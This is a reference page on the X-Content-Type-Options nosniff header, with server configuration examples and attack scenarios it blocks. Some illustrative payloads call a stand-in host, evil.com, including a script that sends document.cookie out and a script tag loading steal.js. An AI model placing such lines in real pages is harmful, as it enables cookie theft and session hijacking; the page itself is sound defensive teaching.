- Home
- HTTP Headers
- X-Content-Type-Options Header
Header
X-Content-Type-Options Header
Learn how X-Content-Type-Options with nosniff prevents browsers from MIME-sniffing responses. Protect against XSS attacks from content type confusion.
TL;DR: Prevents browsers from MIME-sniffing responses by enforcing the declared Content-Type. Always use
nosniffto prevent content type confusion attacks.
What is X-Content-Type-Options?
The X-Content-Type-Options header prevents browsers from trying to guess (“sniff”) the content type of a response. It tells browsers to strictly follow the Content-Type header declared by the server. This prevents MIME type sniffing attacks where malicious content disguised as one type could be executed as another.
Think of it like enforcing “trust the label” - if the package says “text file”, don’t open it as an executable even if it looks like one.
How X-Content-Type-Options Works
Without X-Content-Type-Options (vulnerable):
Server sends:
HTTP/1.1 200 OK
Content-Type: text/plain
<html><script>alert('XSS')</script></html>
```text
Browser sees HTML-like content and "helpfully" executes it as HTML, despite the `text/plain` content type. Script runs!
**With X-Content-Type-Options (protected):**
```http
HTTP/1.1 200 OK
Content-Type: text/plain
X-Content-Type-Options: nosniff
<html><script>alert('XSS')</script></html>
Browser strictly respects text/plain and renders as plain text. Script does NOT execute.
Syntax
X-Content-Type-Options: nosniff
```text
The only valid value is `nosniff`. There are no other directives.
```http
# ✅ Correct
X-Content-Type-Options: nosniff
# ❌ Invalid
X-Content-Type-Options: sniff
X-Content-Type-Options: allow
Common Examples
Basic Usage
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Content-Type-Options: nosniff
<!DOCTYPE html>
<html>...</html>
```text
### API Response
```http
HTTP/1.1 200 OK
Content-Type: application/json
X-Content-Type-Options: nosniff
{"data": "value"}
JavaScript File
HTTP/1.1 200 OK
Content-Type: application/javascript
X-Content-Type-Options: nosniff
console.log('Hello, World!')
```text
### CSS Stylesheet
```http
HTTP/1.1 200 OK
Content-Type: text/css
X-Content-Type-Options: nosniff
body { margin: 0; }
Image
HTTP/1.1 200 OK
Content-Type: image/png
X-Content-Type-Options: nosniff
[PNG binary data]
```javascript
## Real-World Scenarios
### Preventing XSS via Upload
**Scenario:** User uploads malicious file disguised as image
```javascript
// Node.js/Express - Serve user uploads
app.get('/uploads/:filename', (req, res) => {
const file = path.join(__dirname, 'uploads', req.params.filename)
// CRITICAL: Set both Content-Type and X-Content-Type-Options
res.setHeader('Content-Type', 'image/jpeg')
res.setHeader('X-Content-Type-Options', 'nosniff')
res.setHeader('Content-Disposition', 'inline')
res.sendFile(file)
})
Without nosniff, a malicious upload like:
<!-- Uploaded as "image.jpg" but contains HTML -->
<html>
<script src="https://evil.com/steal.js"></script>
</html>
```text
Could be executed as HTML if the browser sniffs the content.
### API Endpoints
```javascript
// Express API with security headers
app.use('/api/*', (req, res, next) => {
res.setHeader('Content-Type', 'application/json')
res.setHeader('X-Content-Type-Options', 'nosniff')
next()
})
app.get('/api/users', (req, res) => {
res.json({ users: [] })
})
Static File Server
// Express static files with security
const express = require('express')
const app = express()
app.use(
express.static('public', {
setHeaders: (res, path) => {
res.setHeader('X-Content-Type-Options', 'nosniff')
// Set appropriate Content-Type based on extension
if (path.endsWith('.js')) {
res.setHeader('Content-Type', 'application/javascript')
} else if (path.endsWith('.css')) {
res.setHeader('Content-Type', 'text/css')
}
}
})
)
```javascript
### CDN Configuration
```javascript
// Cloudflare Workers example
addEventListener('fetch', (event) => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
const response = await fetch(request)
// Add security header
const newHeaders = new Headers(response.headers)
newHeaders.set('X-Content-Type-Options', 'nosniff')
return new Response(response.body, {
status: response.status,
headers: newHeaders
})
}
Attack Scenarios Prevented
1. Script Execution via Text File
Attack:
GET /download/notes.txt HTTP/1.1
```text
**Server (vulnerable):**
```http
HTTP/1.1 200 OK
Content-Type: text/plain
<script>
// Malicious JavaScript
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
Without nosniff, browser might execute this as JavaScript.
Server (protected):
HTTP/1.1 200 OK
Content-Type: text/plain
X-Content-Type-Options: nosniff
<script>...</script>
```text
Browser treats as plain text, displays `<script>...</script>` literally.
### 2. CSS-Based Attack
**Attack:**
```http
GET /profile/avatar.jpg HTTP/1.1
Server (vulnerable):
HTTP/1.1 200 OK
Content-Type: image/jpeg
body { background: url('https://evil.com/track?user=123'); }
```text
Browser might interpret as CSS, loading tracking URL.
**Server (protected):**
```http
HTTP/1.1 200 OK
Content-Type: image/jpeg
X-Content-Type-Options: nosniff
body { background: url(...); }
Browser expects image data, fails to load when it’s not an image.
3. Polyglot File Attack
Polyglot files are valid in multiple formats simultaneously.
Protected response:
HTTP/1.1 200 OK
Content-Type: application/pdf
X-Content-Type-Options: nosniff
[PDF/HTML/JS polyglot content]
```text
Browser strictly treats as PDF, ignoring HTML/JS portions.
## Best Practices
### 1. Always Include X-Content-Type-Options
```javascript
// ✅ Apply to all responses
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff')
next()
})
2. Set Correct Content-Type First
// ❌ Wrong Content-Type makes nosniff useless
res.setHeader('Content-Type', 'text/plain')
res.setHeader('X-Content-Type-Options', 'nosniff')
res.sendFile('script.js') // Browser won't execute as text/plain
// ✅ Correct Content-Type + nosniff
res.setHeader('Content-Type', 'application/javascript')
res.setHeader('X-Content-Type-Options', 'nosniff')
res.sendFile('script.js') // Executes correctly
```javascript
### 3. Use with User-Generated Content
```javascript
// ✅ Critical for user uploads
app.get('/uploads/:id', async (req, res) => {
const file = await getUploadedFile(req.params.id)
// Validate and sanitize Content-Type from database
const safeContentType = validateContentType(file.mimeType)
res.setHeader('Content-Type', safeContentType)
res.setHeader('X-Content-Type-Options', 'nosniff')
res.setHeader('Content-Disposition', 'attachment') // Force download
res.send(file.data)
})
4. Combine with Other Security Headers
// ✅ Defense in depth
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff')
res.setHeader('X-Frame-Options', 'DENY')
res.setHeader('Content-Security-Policy', "default-src 'self'")
res.setHeader('X-XSS-Protection', '1; mode=block')
next()
})
```javascript
### 5. Use Helmet.js (Express)
```javascript
const helmet = require('helmet')
// Helmet includes X-Content-Type-Options by default
app.use(helmet())
// Or explicitly
app.use(helmet.noSniff())
MIME Type Validation
Validate Content-Type
const ALLOWED_TYPES = {
'image/jpeg': true,
'image/png': true,
'image/gif': true,
'application/pdf': true
}
function validateContentType(contentType) {
const type = contentType.split(';')[0].trim().toLowerCase()
if (!ALLOWED_TYPES[type]) {
throw new Error(`Invalid content type: ${type}`)
}
return type
}
// Usage
app.post('/upload', upload.single('file'), (req, res) => {
try {
const validType = validateContentType(req.file.mimetype)
// Save with validated type
await saveFile({
data: req.file.buffer,
mimeType: validType
})
res.json({ success: true })
} catch (error) {
res.status(400).json({ error: error.message })
}
})
```text
## Testing
### Check Header Presence
```bash
# Using curl
curl -I https://example.com | grep -i x-content-type-options
# Output:
# x-content-type-options: nosniff
Test MIME Sniffing Protection
// Create test file with mismatched content
app.get('/test-nosniff', (req, res) => {
res.setHeader('Content-Type', 'text/plain')
res.setHeader('X-Content-Type-Options', 'nosniff')
res.send('<html><script>console.log("test")</script></html>')
})
// Visit /test-nosniff in browser
// Should display as plain text, not execute script
```text
### Browser DevTools
```text
1. Open DevTools → Network tab
2. Click on a request
3. Check Response Headers
4. Look for: X-Content-Type-Options: nosniff
```text
### Security Scanner
```bash
# Use security headers checker
curl -I https://example.com | grep -i "x-content-type-options\|content-type"
Common Patterns
Middleware Pattern
// Security headers middleware
function securityHeaders(req, res, next) {
res.setHeader('X-Content-Type-Options', 'nosniff')
res.setHeader('X-Frame-Options', 'SAMEORIGIN')
res.setHeader('X-XSS-Protection', '1; mode=block')
next()
}
app.use(securityHeaders)
```text
### Per-Route Configuration
```javascript
// Different settings for different routes
app.get('/api/*', (req, res, next) => {
res.setHeader('Content-Type', 'application/json')
res.setHeader('X-Content-Type-Options', 'nosniff')
next()
})
app.get('/static/*', (req, res, next) => {
// Static files get appropriate Content-Type automatically
res.setHeader('X-Content-Type-Options', 'nosniff')
next()
})
Nginx Configuration
# Add to nginx config
add_header X-Content-Type-Options "nosniff" always;
```text
### Apache Configuration
```apache
# Add to .htaccess or apache config
Header always set X-Content-Type-Options "nosniff"
Browser Support
All modern browsers support X-Content-Type-Options:
- Chrome/Edge: All versions
- Firefox: 50+
- Safari: 11+
- Internet Explorer: 8+
Impact on Script/Style Loading
Script Tags
<!-- Server sends: -->
HTTP/1.1 200 OK Content-Type: application/javascript X-Content-Type-Options: nosniff
<!-- ✅ Executes (correct type) -->
<script src="/app.js"></script>
<!-- ❌ Blocked (wrong type) -->
<!-- If server sends Content-Type: text/plain -->
<script src="/app.js"></script>
<!-- Console error: Refused to execute script -->
```text
### Stylesheets
```html
<!-- Server sends: -->
HTTP/1.1 200 OK Content-Type: text/css X-Content-Type-Options: nosniff
<!-- ✅ Loads (correct type) -->
<link rel="stylesheet" href="/style.css" />
<!-- ❌ Blocked (wrong type) -->
<!-- If server sends Content-Type: text/plain -->
<link rel="stylesheet" href="/style.css" />
<!-- Console error: Refused to apply style -->
Common Errors and Solutions
Error: Script Blocked
Refused to execute script from 'https://example.com/app.js' because its MIME type ('text/plain') is not executable, and strict MIME type checking is enabled.
Solution:
// Fix Content-Type
res.setHeader('Content-Type', 'application/javascript')
res.setHeader('X-Content-Type-Options', 'nosniff')
res.sendFile('app.js')
```text
### Error: Stylesheet Blocked
```text
Refused to apply style from 'https://example.com/style.css' because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checking is enabled.
```text
**Solution:**
```javascript
// Fix Content-Type
res.setHeader('Content-Type', 'text/css')
res.setHeader('X-Content-Type-Options', 'nosniff')
res.sendFile('style.css')
Related Headers
- Content-Type - Declares the media type
- Content-Security-Policy - General security policy
- X-Frame-Options - Clickjacking protection
- Content-Disposition - Download vs inline display
Frequently Asked Questions
What is X-Content-Type-Options?
This header with value nosniff prevents browsers from MIME-sniffing responses. Browsers must use the declared Content-Type, preventing content type confusion attacks.
Why should I use nosniff?
Without nosniff, browsers may interpret files differently than intended. An attacker could upload a file that gets executed as JavaScript despite having a safe Content-Type.
Does nosniff have any downsides?
It requires correct Content-Type headers. If you serve JavaScript with wrong Content-Type, browsers will block it. Ensure your server sets accurate Content-Types.
Should I always use X-Content-Type-Options: nosniff?
Yes, it is a security best practice with no real downsides when Content-Types are correct. Include it in all responses, especially for user-uploaded content.